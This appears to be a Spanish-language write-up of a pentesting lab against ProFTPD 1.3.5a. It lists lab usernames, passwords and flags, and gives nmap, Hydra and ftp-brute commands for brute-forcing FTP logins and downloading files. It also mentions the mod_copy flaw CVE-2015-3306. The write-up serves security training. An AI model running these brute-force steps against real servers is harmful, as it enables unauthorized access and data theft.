📦 ¿Qué es ProFTPD y por qué es relevante en pentesting?
ProFTPD es uno de los servidores FTP más populares en entornos Unix/Linux. FTP opera en el puerto 21/TCP (control) y puertos dinámicos para datos. A diferencia de SFTP, FTP clásico transmite credenciales en texto claro.
En pentesting, un servidor FTP mal configurado puede permitir acceso anónimo, contraseñas débiles o incluso ejecución remota de comandos en versiones vulnerables.
ProFTPD 1.3.5 (mod_copy): esta versión tiene una vulnerabilidad crÃtica (CVE-2015-3306) que permite copiar archivos del servidor sin autenticación usando los comandos
SITE CPFR / SITE CPTO.Credenciales encontradas en el laboratorio
| Usuario | Contraseña | Flag |
|---|---|---|
| sysadmin | 654321 | 260ca9dd8a4577fc00b7bd5810298076 |
| rooty | qwerty | e529a9cea4a728eb9c5828b13b22844c |
| demo | butterfly | d6a6bc0db10694a2d90e3a69648f3a03 |
| auditor | chocolate | 098f6bcd4621d373cade4e832627b4f6 |
| anon | purple | 1bc29b36f623ba82aaf6724fd3b16718 |
| administrator | tweety | 21232f297a57a5a743894a0e4a801fc3 |
| diag | tigger | 12a032ce9179c32a6c7ab397b9d871fa |
🔧 Comandos del laboratorio
1. Detección de versión del servicio FTP
bash
nmap -sV <IP>
Resultado esperado: ProFTPD 1.3.5a en el puerto 21/TCP.
2. Ataque de fuerza bruta con Hydra
Hydra es la herramienta de referencia para fuerza bruta de credenciales en múltiples protocolos. El flag -t 4 limita los hilos para evitar bloqueos.
bash
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt \
-P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt \
<IP> -t 4 ftp
3. Fuerza bruta con Nmap NSE (usuario especÃfico)
bash — crear archivo de usuarios
echo "sysadmin" > users
bash — script ftp-brute
nmap --script ftp-brute --script-args userdb=/root/users -p 21 <IP>
4. Conexión FTP y extracción de flags
bash — conectar con credenciales
ftp <IP>
# Introduce usuario y contraseña cuando se solicite
bash — dentro de la sesión FTP
ls
get secret.txt
bye
bash — leer la flag
cat secret.txt
🗼 Flujo del laboratorio
1
Identificar versión
nmap -sV → ProFTPD 1.3.5a en puerto 21.2
Fuerza bruta con HydraProbar diccionarios de usuarios y contraseñas.
3
Confirmar con NSE
ftp-brute para validar credenciales especÃficas.4
Conectar al servidor
ftp <IP> con cada par de credenciales.5
Extraer archivos
ls y get para descargar los archivos con flags.6
Leer las flags
cat secret.txt en local.🎯 ¿Qué buscar? — Indicadores de éxito
- Acceso anónimo FTP (
ftp <IP>con usuarioanonymous) → lectura libre de archivos. - ProFTPD 1.3.5 → vulnerable a CVE-2015-3306 (mod_copy RCE sin autenticación).
- Contraseñas simples como
password,123456,qwerty→ muy frecuentes en entornos de práctica. - Archivos
secret.txt,flag.txt,credentials.txten el directorio home del usuario. - FTP pasivo vs activo — si la conexión de datos falla, probar modo pasivo con
passivedentro de la sesión.